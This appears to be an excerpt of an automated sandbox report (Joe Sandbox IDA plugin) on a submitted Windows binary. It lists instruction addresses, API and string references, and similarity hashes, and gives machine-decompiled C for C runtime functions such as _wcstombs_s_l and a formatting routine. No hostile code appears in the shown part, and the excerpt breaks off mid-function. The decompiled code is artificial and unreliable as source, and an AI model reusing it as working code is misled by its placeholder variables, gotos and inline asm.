0x0043bf34
0x0043bf37
0x0043bf3b
0x0043bf3e
0x00000000
0x0043bf40
0x0043bf43
0x0043bf46
0x0043bf4c
0x0043bf51
0x00000000
0x0043bf51
0x0043bf3e
0x0043bf04
0x0043bf04
0x0043bf07
0x0043bf0b
0x0043bf0e
0x00000000
0x0043bf10
0x0043bf13
0x0043bf16
0x0043bf1c
0x0043bf21
0x00000000
0x0043bf21
0x00000000
0x0043bfab
0x0043bfab
0x0043bfae
0x0043bfb1
0x00000000
0x00000000
0x0043bec9
0x0043bec9
0x0043becc
0x0043becf
0x0043bed2
0x0043beeb
0x0043beee
0x0043beee
0x0043bef1
0x0043bed4
0x0043bed4
0x0043bed7
0x0043beda
0x0043bee0
0x0043bee6
0x0043bee6
0x00000000
0x00000000
0x0043bfb6
0x0043bfb6
0x0043bfb9
0x0043bfb9
0x0043bfbf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bfc7
0x0043bfc7
0x0043bfce
0x0043bfd4
0x0043bfda
0x0043bfdd
0x0043bfe3
0x0043bfea
0x0043c840
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x0043c840
0x0043bff0
0x0043bff6
0x0043bff6
0x0043bffd
0x00000000
0x0043c381
0x0043c381
0x0043c38f
0x0043c38f
0x0043c392
0x00000000
0x00000000
0x0043c004
0x0043c007
0x0043c007
0x0043c00d
0x0043c00f
0x0043c012
0x0043c012
0x0043c015
0x0043c015
0x00000000
0x00000000
0x0043c14a
0x0043c14d
0x0043c14d
0x0043c152
0x0043c154
0x0043c157
0x0043c157
0x0043c15a
0x0043c15a
0x00000000
0x00000000
0x0043c54d
0x0043c54d
0x0043c563
0x0043c563
0x0043c56d
0x0043c56d
0x0043c573
0x0043c575
0x0043c57a
0x0043c584
0x0043c584
0x0043c587
0x0043c58b
0x0043c58b
0x00000000
0x00000000
0x0043c0b4
0x0043c0b4
0x0043c0c0
0x0043c0c6
0x0043c0cd
0x0043c0db
0x0043c0db
0x0043c0e1
0x0043c0e4
0x0043c0f0
0x0043c145
0x00000000
0x0043c145
0x0043c0cf
0x0043c0cf
0x0043c0d5
0x0043c0d9
0x0043c0f8
0x0043c0f8
0x0043c0fe
0x0043c126
0x0043c12d
0x0043c133
0x0043c136
0x0043c139
0x0043c13f
0x0043c142
0x0043c100
0x0043c100
0x0043c106
0x0043c109
0x0043c10c
0x0043c112
0x0043c115
0x0043c118
0x0043c11a
0x0043c11d
0x0043c11d
0x00000000
0x0043c0fe
0x00000000
0x00000000
0x0043c399
0x0043c39c
0x0043c39f
0x0043c3a2
0x0043c3a8
0x0043c3ab
0x0043c3b2
0x0043c3b6
0x0043c3c1
0x0043c3c1
0x0043c3c5
0x0043c3dc
0x0043c3dc
0x0043c3e3
0x0043c3e5
0x0043c3e5
0x0043c3ec
0x0043c3ec
0x0043c3f3
0x0043c401
0x0043c404
0x0043c413
0x0043c416
0x0043c41a
0x0043c42f
0x0043c41c
0x0043c41c
0x0043c41f
0x0043c425
0x0043c42a
0x0043c42a
0x0043c41a
0x0043c439
0x0043c43c
0x0043c43f
0x0043c442
0x0043c445
0x0043c448
0x0043c44e
0x0043c454
0x0043c45c
0x0043c45d
0x0043c460
0x0043c461
0x0043c464
0x0043c465
0x0043c46c
0x0043c46d
0x0043c470
0x0043c471
0x0043c474
0x0043c475
0x0043c47b
0x0043c47c
0x0043c48b
0x0043c48d
0x0043c493
0x0043c493
0x0043c498
0x0043c49a
0x0043c49e
0x0043c4a0
0x0043c4a8
0x0043c4a9
0x0043c4ac
0x0043c4ad
0x0043c4bc
0x0043c4be
0x0043c4be
0x0043c49e
0x0043c4c1
0x0043c4c8
0x0043c4cb
0x0043c4d0
0x0043c4d0
0x0043c4d6
0x0043c4d8
0x0043c4e0
0x0043c4e1
0x0043c4e4
0x0043c4e5
0x0043c4f3
0x0043c4f5
0x0043c4f5
0x0043c4d6
0x0043c4f8
0x0043c4fb
0x0043c4fe
0x0043c501
0x0043c506
0x0043c50b
0x0043c50e
0x0043c511
0x0043c511
0x0043c514
0x0043c514
0x0043c517
0x0043c523
0x0043c840
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x00000000
0x0043c840
0x0043c3c7
0x0043c3c7
0x0043c3ce
0x0043c3d1
0x00000000
0x00000000
0x0043c3d3
0x0043c3d3
0x00000000
0x0043c3d3
0x0043c3b8
0x0043c3b8
0x00000000
0x00000000
0x0043c018
0x0043c018
0x0043c023
0x0043c02b
0x0043c032
0x0043c035
0x0043c035
0x0043c038
0x0043c091
0x0043c098
0x0043c03a
0x0043c041
0x0043c047
0x0043c04d
0x0043c054
0x0043c057
0x0043c05d
0x0043c065
0x0043c067
0x0043c06e
0x0043c075
0x0043c07c
0x0043c084
0x0043c086
0x0043c088
0x0043c088
0x0043c08f
0x0043c09f
0x0043c0a5
0x0043c0a8
0x0043c840
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x00000000
0x0043c52b
0x0043c52e
0x0043c531
0x0043c534
0x0043c5b2
0x0043c5b5
0x0043c5b5
0x0043c5ba
0x0043c5dc
0x0043c5dc
0x0043c5e2
0x0043c604
0x0043c604
0x0043c607
0x0043c64e
0x0043c64e
0x0043c651
0x0043c66e
0x0043c672
0x0043c67a
0x0043c67a
0x0043c67c
0x0043c682
0x0043c653
0x0043c653
0x0043c657
0x0043c65f
0x0043c660
0x0043c666
0x0043c666
0x0043c609
0x0043c60c
0x0043c60c
0x0043c60f
0x0043c62d
0x0043c639
0x0043c63c
0x0043c63d
0x0043c643
0x0043c611
0x0043c611
0x0043c615
0x0043c61d
0x0043c61e
0x0043c61f
0x0043c625
0x0043c625
0x0043c649
0x0043c5e4
0x0043c5e4
0x0043c5f0
0x0043c5f6
0x0043c5f6
0x0043c5bc
0x0043c5bc
0x0043c5c8
0x0043c5ce
0x0043c5ce
0x0043c68b
0x0043c68b
0x0043c68e
0x00000000
0x00000000
0x00000000
0x0043c28a
0x0043c28a
0x0043c296
0x0043c29c
0x0043c2a1
0x0043c2a3
0x0043c34d
0x0043c34d
0x0043c350
0x0043c350
0x0043c353
0x0043c367
0x0043c36d
0x0043c373
0x0043c355
0x0043c355
0x0043c35b
0x0043c362
0x0043c362
0x0043c375
0x0043c840
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x0043c840
0x0043c2a9
0x0043c2a9
0x0043c2a9
0x0043c2ab
0x0043c2b9
0x0043c2ad
0x0043c2ad
0x0043c2ad
0x0043c2c3
0x0043c2c9
0x0043c2cf
0x0043c2d6
0x0043c2d8
0x0043c2dd
0x0043c2df
0x0043c2e4
0x0043c2e9
0x0043c2eb
0x0043c2f0
0x0043c2f3
0x0043c2f6
0x0043c2f8
0x0043c2f8
0x0043c2f6
0x0043c2f9
0x0043c300
0x0043c348
0x0043c840
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x0043c302
0x0043c302
0x0043c307
0x0043c323
0x0043c32b
0x0043c335
0x0043c338
0x0043c33d
0x00000000
0x0043c33d
0x00000000
0x0043c594
0x0043c594
0x0043c59e
0x0043c59e
0x0043c5a4
0x0043c5a6
0x0043c5a9
0x0043c5a9
0x0043c5af
0x0043c5af
0x0043c5b2
0x0043c5b2
0x0043c5b5
0x0043c5b5
0x0043c5ba
0x0043c5dc
0x0043c5dc
0x0043c5e2
0x0043c604
0x0043c604
0x0043c607
0x0043c64e
0x0043c64e
0x0043c651
0x0043c66e
0x0043c672
0x0043c67a
0x0043c67a
0x0043c67c
0x0043c682
0x0043c653
0x0043c653
0x0043c657
0x0043c65f
0x0043c660
0x0043c666
0x0043c666
0x0043c609
0x0043c60c
0x0043c60c
0x0043c60f
0x0043c62d
0x0043c639
0x0043c63c
0x0043c63d
0x0043c643
0x0043c611
0x0043c611
0x0043c615
0x0043c61d
0x0043c61e
0x0043c61f
0x0043c625
0x0043c625
0x0043c649
0x0043c5e4
0x0043c5e4
0x0043c5f0
0x0043c5f6
0x0043c5f6
0x0043c5bc
0x0043c5bc
0x0043c5c8
0x0043c5ce
0x0043c5ce
0x0043c68b
0x0043c68b
0x0043c68e
0x00000000
0x00000000
0x00000000
0x0043c68e
0x00000000
0x0043c546
0x0043c546
0x00000000
0x00000000
0x0043c15d
0x0043c15d
0x0043c161
0x0043c16f
0x0043c172
0x0043c163
0x0043c163
0x0043c163
0x0043c178
0x0043c17e
0x0043c184
0x0043c190
0x0043c196
0x0043c196
0x0043c199
0x0043c221
0x0043c221
0x0043c225
0x0043c227
0x0043c22d
0x0043c22d
0x0043c230
0x0043c237
0x0043c23a
0x0043c240
0x0043c240
0x0043c240
0x0043c246
0x0043c24c
0x0043c24f
0x0043c255
0x0043c257
0x00000000
0x00000000
0x0043c259
0x0043c259
0x0043c25f
0x0043c262
0x0043c264
0x00000000
0x00000000
0x0043c266
0x0043c26c
0x0043c26f
0x0043c26f
0x0043c277
0x0043c277
0x0043c27d
0x0043c27d
0x0043c282
0x00000000
0x0043c19f
0x0043c19f
0x0043c19f
0x0043c1a3
0x0043c1a5
0x0043c1aa
0x0043c1aa
0x0043c1ad
0x0043c1b0
0x0043c1b6
0x0043c1c8
0x0043c1c8
0x0043c1c8
0x0043c1cb
0x0043c1d1
0x00000000
0x00000000
0x0043c1d3
0x0043c1d3
0x0043c1d9
0x0043c1dc
0x0043c1de
0x00000000
0x00000000
0x0043c1e0
0x0043c1e0
0x0043c1e9
0x0043c1ef
0x0043c1f3
0x0043c1fb
0x0043c1fd
0x0043c1ff
0x0043c205
0x0043c205
0x0043c208
0x0043c208
0x0043c214
0x0043c217
0x0043c1bf
0x0043c1c2
0x0043c1c2
0x0043c1c5
0x0043c1c5
0x0043c21f
0x0043c285
0x0043c840
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x0043c840
0x00000000
0x0043c53d
0x0043c53d
0x0043c5b2
0x0043c5b2
0x0043c5b5
0x0043c5b5
0x0043c5ba
0x0043c5dc
0x0043c5dc
0x0043c5e2
0x0043c604
0x0043c604
0x0043c607
0x0043c64e
0x0043c64e
0x0043c651
0x0043c66e
0x0043c672
0x0043c67a
0x0043c67a
0x0043c67c
0x0043c682
0x0043c653
0x0043c653
0x0043c657
0x0043c65f
0x0043c660
0x0043c666
0x0043c666
0x0043c609
0x0043c60c
0x0043c60c
0x0043c60f
0x0043c62d
0x0043c639
0x0043c63c
0x0043c63d
0x0043c643
0x0043c611
0x0043c611
0x0043c615
0x0043c61d
0x0043c61e
0x0043c61f
0x0043c625
0x0043c625
0x0043c649
0x0043c5e4
0x0043c5e4
0x0043c5f0
0x0043c5f6
0x0043c5f6
0x0043c5bc
0x0043c5bc
0x0043c5c8
0x0043c5ce
0x0043c5ce
0x0043c68b
0x0043c68b
0x0043c68e
0x00000000
0x00000000
0x00000000
0x0043c68e
0x00000000
0x00000000
0x00000000
0x0043c840
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x00000000
0x00000000
0x0043bdc9
0x0043bdc9
0x0043bdcc
0x0043bdcf
0x00000000
0x00000000
0x0043bdd4
0x0043bdd7
0x0043bddd
0x00000000
0x00000000
0x0043bdbe
0x0043bdc1
0x0043bdc4
0x00000000
0x00000000
0x0043bdb3
0x0043bdb6
0x0043bdb9
0x00000000
0x00000000
0x0043bde2
0x0043bde2
0x0043bde5
0x0043bde5
0x0043bde8
0x00000000
0x00000000
0x0043bdeb
0x00000000
0x00000000
0x0043bc5b
0x0043bc5b
0x0043bc5d
0x0043bc6b
0x0043bc5f
0x0043bc5f
0x0043bc5f
0x0043bc7b
0x0043bc88
0x0043bc8a
0x0043bc8f
0x0043bc91
0x0043bc96
0x0043bc9b
0x0043bc9d
0x0043bca2
0x0043bca8
0x0043bcaa
0x0043bcaa
0x0043bca8
0x0043bcab
0x0043bcb2
0x00000000
0x0043bcb4
0x0043bcb9
0x0043bcd5
0x0043bcdd
0x0043bcea
0x0043bcef
0x0043cb04
0x0043cb11
0x0043cb11
0x0043bcb2
0x0043bc55
0x0043ca40
0x0043ca40
0x0043ca47
0x0043ca5e
0x0043ca5e
0x0043ca68
0x0043ca68
0x0043ca6e
0x0043ca74
0x0043ca7b
0x0043ca7d
0x0043ca82
0x0043ca84
0x0043ca89
0x0043ca8e
0x0043ca90
0x0043ca95
0x0043ca98
0x0043ca9b
0x0043ca9d
0x0043ca9d
0x0043ca9b
0x0043ca9e
0x0043caa5
0x0043caf0
0x0043caf9
0x0043cafe
0x0043caa7
0x0043caac
0x0043cac8
0x0043cad0
0x0043cadd
0x0043cae2
0x0043cae2
0x00000000
0x0043caa5
0x0043ca49
0x0043ca49
0x0043ca50
0x00000000
0x00000000
0x0043ca52
0x0043ca52
0x00000000
0x0043ca52
0x0043c840
0x0043c817
0x0043c817
0x0043c81b
0x0043c828
0x0043c82b
0x0043c82e
0x0043c831
0x0043c834
0x0043c837
0x0043c83a
0x0043c83a
0x0043c83d
0x00000000
0x0043c83d
0x0043c81d
0x0043c81d
0x0043c820
0x0043c823
0x0043c826
0x00000000
0x00000000
0x00000000
0x0043c826
0x0043c77c
0x0043c77c
0x0043c77f
0x0043c782
0x0043c789
0x0043c790
0x0043c798
0x0043c79e
0x0043c7a1
0x0043c7a4
0x0043c7ab
0x0043c7b7
0x0043c7bd
0x0043c7c3
0x0043c7ca
0x0043c7cc
0x0043c7d2
0x0043c7d2
0x0043c7d8
0x0043c7d8
0x0043c7de
0x0043c7e7
0x0043c7ec
0x0043c7ef
0x0043c75e
0x0043c75e
0x0043c764
0x0043c767
0x0043c76a
0x0043c76c
0x00000000
0x00000000
0x00000000
0x0043c76c
0x0043c75e
0x0043c69b
0x0043c69b
0x0043c6a2
0x00000000
0x00000000
0x00000000
0x0043c6d0
0x0043c6d0
0x0043c6d6
0x0043c6dc
0x0043c6e2
0x00000000
0x0043c6e2
0x0043c5b2
0x0043c563

APIs

_get_int64_arg.LIBCMTD ref: 0043C5C0
__aullrem.LIBCMT ref: 0043C790
__aulldiv.LIBCMT ref: 0043C7B2

Strings

9, xrefs: 0043C7C3
', xrefs: 0043C559

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: f63dc8f9c0764afe4ddbc55b9d8f0302fd85d5d5daa484c7a0e0b896b537e6c0
Instruction ID: c02d9a8b79c5c9393b0762c0c749366b20e7c156048f9b32fcdff575809a96c8
Opcode Fuzzy Hash: f63dc8f9c0764afe4ddbc55b9d8f0302fd85d5d5daa484c7a0e0b896b537e6c0
Instruction Fuzzy Hash: 9C4127B1E0022A9FDB24CF58C881BAEB7B5FF89314F10509AD149BB241D7389E81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00437893, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00437893(void* __ebx, void* __esi) {
				signed int _t74;
				intOrPtr _t75;
				void* _t80;
				signed int _t84;
				void* _t92;
				void* _t97;
				signed int _t106;
				signed int _t108;
				signed int _t112;
				signed int _t113;
				intOrPtr _t114;
				signed int _t117;
				signed int _t119;
				signed int _t125;
				void* _t127;
				void* _t128;
				void* _t129;
				void* _t131;
				void* _t132;
				void* _t140;

				_t128 = __esi;
				_t97 = __ebx;
				_t113 =  *(_t129 + 0xc);
				 *_t113 = 0;
				if( *(_t129 + 0x10) != 0xffffffff &&  *(_t129 + 0x10) != 0x7fffffff &&  *(_t129 + 0x10) > 1) {
					_t140 =  *0x440208 -  *(_t129 + 0x10) - 1; // 0xffffffff
					if(_t140 >= 0) {
						_t113 =  *(_t129 + 0x10) - 1;
						__eflags = _t113;
						 *(_t129 - 0x20) = _t113;
					} else {
						_t112 =  *0x440208; // 0xffffffff
						 *(_t129 - 0x20) = _t112;
					}
					E0041B6B0(_t127,  *(_t129 + 0xc) + 1, 0xfe,  *(_t129 - 0x20));
					_t131 = _t131 + 0xc;
				}
				if( *(_t129 + 8) != 0) {
					_t113 =  *(_t129 + 8);
					 *_t113 = 0;
				}
				if( *(_t129 + 0x18) <=  *(_t129 + 0x10)) {
					_t113 =  *(_t129 + 0x18);
					 *(_t129 - 0x24) = _t113;
				} else {
					 *(_t129 - 0x24) =  *(_t129 + 0x10);
				}
				 *(_t129 - 8) =  *(_t129 - 0x24);
				asm("sbb edx, edx");
				_t114 = _t113 + 1;
				 *((intOrPtr*)(_t129 - 0x14)) = _t114;
				if(_t114 == 0) {
					_push(L"bufferSize <= INT_MAX");
					_push(0);
					_push(0x13f);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
					_push(2);
					_t92 = L0041E520();
					_t131 = _t131 + 0x14;
					if(_t92 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t129 - 0x14)) != 0) {
					_t100 =  *(_t129 + 0xc);
					_t74 = L00437300(_t97,  *(_t129 - 8), _t127, _t128,  *(_t129 + 0xc),  *((intOrPtr*)(_t129 + 0x14)),  *(_t129 - 8),  *((intOrPtr*)(_t129 + 0x1c)));
					_t132 = _t131 + 0x10;
					 *(_t129 - 0xc) = _t74;
					__eflags =  *(_t129 - 0xc) - 0xffffffff;
					if( *(_t129 - 0xc) != 0xffffffff) {
						_t117 =  *(_t129 - 0xc) + 1;
						 *(_t129 - 0xc) = _t117;
						__eflags =  *(_t129 + 0xc);
						if( *(_t129 + 0xc) == 0) {
							L45:
							__eflags =  *(_t129 + 8);
							if( *(_t129 + 8) != 0) {
								 *( *(_t129 + 8)) =  *(_t129 - 0xc);
							}
							_t75 =  *((intOrPtr*)(_t129 - 4));
							goto L48;
						}
						__eflags =  *(_t129 - 0xc) -  *(_t129 + 0x10);
						if( *(_t129 - 0xc) <=  *(_t129 + 0x10)) {
							L44:
							_t119 =  *(_t129 + 0xc) +  *(_t129 - 0xc);
							__eflags = _t119;
							 *((char*)(_t119 - 1)) = 0;
							goto L45;
						}
						__eflags =  *(_t129 + 0x18) - 0xffffffff;
						if( *(_t129 + 0x18) == 0xffffffff) {
							L43:
							 *(_t129 - 0xc) =  *(_t129 + 0x10);
							 *((intOrPtr*)(_t129 - 4)) = 0x50;
							goto L44;
						}
						 *( *(_t129 + 0xc)) = 0;
						__eflags =  *(_t129 + 0x10) - 0xffffffff;
						if( *(_t129 + 0x10) != 0xffffffff) {
							__eflags =  *(_t129 + 0x10) - 0x7fffffff;
							if( *(_t129 + 0x10) != 0x7fffffff) {
								__eflags =  *(_t129 + 0x10) - 1;
								if( *(_t129 + 0x10) > 1) {
									__eflags =  *0x440208 -  *(_t129 + 0x10) - 1; // 0xffffffff
									if(__eflags >= 0) {
										_t106 =  *(_t129 + 0x10) - 1;
										__eflags = _t106;
										 *(_t129 - 0x2c) = _t106;
									} else {
										_t84 =  *0x440208; // 0xffffffff
										 *(_t129 - 0x2c) = _t84;
									}
									_t117 =  *(_t129 - 0x2c);
									__eflags =  *(_t129 + 0xc) + 1;
									E0041B6B0(_t127,  *(_t129 + 0xc) + 1, 0xfe, _t117);
									_t132 = _t132 + 0xc;
								}
							}
						}
						_t104 =  *(_t129 + 0x10);
						__eflags =  *(_t129 - 0xc) -  *(_t129 + 0x10);
						asm("sbb edx, edx");
						 *(_t129 - 0x18) =  ~_t117;
						if( *(_t129 - 0xc) ==  *(_t129 + 0x10)) {
							_push(L"sizeInBytes > retsize");
							_push(0);
							_push(0x157);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
							_push(2);
							_t80 = L0041E520();
							_t132 = _t132 + 0x14;
							__eflags = _t80 - 1;
							if(_t80 == 1) {
								asm("int3");
							}
						}
						__eflags =  *(_t129 - 0x18);
						if( *(_t129 - 0x18) != 0) {
							goto L43;
						} else {
							 *((intOrPtr*)(L00423010(_t104))) = 0x22;
							E00422DA0(_t97, _t104, _t127, _t128, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
							_t75 = 0x22;
							goto L48;
						}
					} else {
						__eflags =  *(_t129 + 0xc);
						if( *(_t129 + 0xc) != 0) {
							 *( *(_t129 + 0xc)) = 0;
							__eflags =  *(_t129 + 0x10) - 0xffffffff;
							if( *(_t129 + 0x10) != 0xffffffff) {
								__eflags =  *(_t129 + 0x10) - 0x7fffffff;
								if( *(_t129 + 0x10) != 0x7fffffff) {
									__eflags =  *(_t129 + 0x10) - 1;
									if( *(_t129 + 0x10) > 1) {
										__eflags =  *0x440208 -  *(_t129 + 0x10) - 1; // 0xffffffff
										if(__eflags >= 0) {
											_t125 =  *(_t129 + 0x10) - 1;
											__eflags = _t125;
											 *(_t129 - 0x28) = _t125;
										} else {
											_t108 =  *0x440208; // 0xffffffff
											 *(_t129 - 0x28) = _t108;
										}
										_t100 =  *(_t129 + 0xc) + 1;
										__eflags =  *(_t129 + 0xc) + 1;
										E0041B6B0(_t127,  *(_t129 + 0xc) + 1, 0xfe,  *(_t129 - 0x28));
									}
								}
							}
						}
						_t75 =  *((intOrPtr*)(L00423010(_t100)));
						L48:
						return _t75;
					}
				}
				 *((intOrPtr*)(L00423010(0x7fffffff))) = 0x16;
				E00422DA0(_t97, 0x7fffffff, _t127, _t128, L"bufferSize <= INT_MAX", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x13f, 0);
				_t75 = 0x16;
				goto L48;
			}

0x00437893
0x00437893
0x00437893
0x00437896
0x0043789d
0x004378b4
0x004378ba
0x004378ca
0x004378ca
0x004378cd
0x004378bc
0x004378bc
0x004378c2
0x004378c2
0x004378e0
0x004378e5
0x004378e5
0x004378ec
0x004378ee
0x004378f1
0x004378f1
0x004378fd
0x00437907
0x0043790a
0x004378ff
0x00437902
0x00437902
0x00437910
0x0043791b
0x0043791d
0x00437920
0x00437923
0x00437925
0x0043792a
0x0043792c
0x00437931
0x00437936
0x00437938
0x0043793d
0x00437943
0x00437945
0x00437945
0x00437943
0x0043794a
0x0043798b
0x0043798f
0x00437994
0x00437997
0x0043799a
0x0043799e
0x00437a0a
0x00437a0d
0x00437a10
0x00437a14
0x00437b01
0x00437b01
0x00437b05
0x00437b0d
0x00437b0d
0x00437b0f
0x00000000
0x00437b0f
0x00437a1d
0x00437a20
0x00437af7
0x00437afa
0x00437afa
0x00437afd
0x00000000
0x00437afd
0x00437a26
0x00437a2a
0x00437aea
0x00437aed
0x00437af0
0x00000000
0x00437af0
0x00437a33
0x00437a36
0x00437a3a
0x00437a3c
0x00437a43
0x00437a45
0x00437a49
0x00437a51
0x00437a57
0x00437a66
0x00437a66
0x00437a69
0x00437a59
0x00437a59
0x00437a5e
0x00437a5e
0x00437a6c
0x00437a78
0x00437a7c
0x00437a81
0x00437a81
0x00437a49
0x00437a43
0x00437a84
0x00437a87
0x00437a8a
0x00437a8e
0x00437a91
0x00437a93
0x00437a98
0x00437a9a
0x00437a9f
0x00437aa4
0x00437aa6
0x00437aab
0x00437aae
0x00437ab1
0x00437ab3
0x00437ab3
0x00437ab1
0x00437ab4
0x00437ab8
0x00000000
0x00437aba
0x00437abf
0x00437adb
0x00437ae3
0x00000000
0x00437ae3
0x004379a0
0x004379a0
0x004379a4
0x004379a9
0x004379ac
0x004379b0
0x004379b2
0x004379b9
0x004379bb
0x004379bf
0x004379c7
0x004379cd
0x004379dd
0x004379dd
0x004379e0
0x004379cf
0x004379cf
0x004379d5
0x004379d5
0x004379ef
0x004379ef
0x004379f3
0x004379f8
0x004379bf
0x004379b9
0x004379b0
0x00437a00
0x00437b12
0x00437b15
0x00437b15
0x0043799e
0x00437951
0x0043796d
0x00437975
0x00000000

APIs

_memset.LIBCMT ref: 004378E0
__invalid_parameter.LIBCMTD ref: 0043796D

Strings

bufferSize <= INT_MAX, xrefs: 00437925, 00437968
_wcstombs_s_l, xrefs: 00437963
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 00437931, 0043795E

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID: _wcstombs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3961059608-322421350
Opcode ID: 82ed0be120fd2c5d905e8a5a0534a088b58521db333ba8231f363604952d4207
Instruction ID: ed67bea3b7f9dfcf117aa9e1c1d6a24c905de5a8da42f75ba1dd39c3e9ebfa2b
Opcode Fuzzy Hash: 82ed0be120fd2c5d905e8a5a0534a088b58521db333ba8231f363604952d4207
Instruction Fuzzy Hash: 9121DEB0A44349EBDB24DF48CC45BAE7761FB18318F20562FE8A02B3C0D7799950CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041CAF3, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041CBFD
__free_base.LIBCMTD ref: 0041CC09

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041CB17
t!hD&@, xrefs: 0041CB09
pHead->nBlockUse == nBlockUse, xrefs: 0041CB0B

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: __free_base_memset
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nBlockUse == nBlockUse$t!hD&@
API String ID: 2669475236-3516989280
Opcode ID: 3579b698d83707bf9588381e891bb1489e63b0288571a496da4de7a7f2c291f3
Instruction ID: 48abc36ab43165dba7aac49321b8d8b0e28f711f13580b1efc2ea9c3588e8e94
Opcode Fuzzy Hash: 3579b698d83707bf9588381e891bb1489e63b0288571a496da4de7a7f2c291f3
Instruction Fuzzy Hash: 5A215E78A44104EFCB04CF50DA86AAA77B2BB89308F30C199D4055B391D779EE42DB89

Uniqueness

Uniqueness Score: -1.00%

Function 0043C546, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0043C546(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t483;
				void* _t488;
				signed int _t490;
				void* _t498;
				intOrPtr _t501;
				signed int _t519;
				intOrPtr _t523;
				intOrPtr _t524;
				signed int _t525;
				void* _t527;

				L0:
				while(1) {
					L0:
					_t524 = __esi;
					_t523 = __edi;
					_t501 = __ebx;
					 *(_t525 - 0x30) = 8;
					while(1) {
						L143:
						 *(__ebp - 0x460) = 7;
						while(1) {
							L145:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								__edx = 0x30;
								 *(__ebp - 0x14) = __dx;
								 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
								__eflags =  *(__ebp - 0x460) + 0x51;
								 *(__ebp - 0x12) = __ax;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L150:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E004285E0(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E004285E0(__ebp + 0x14);
												asm("cdq");
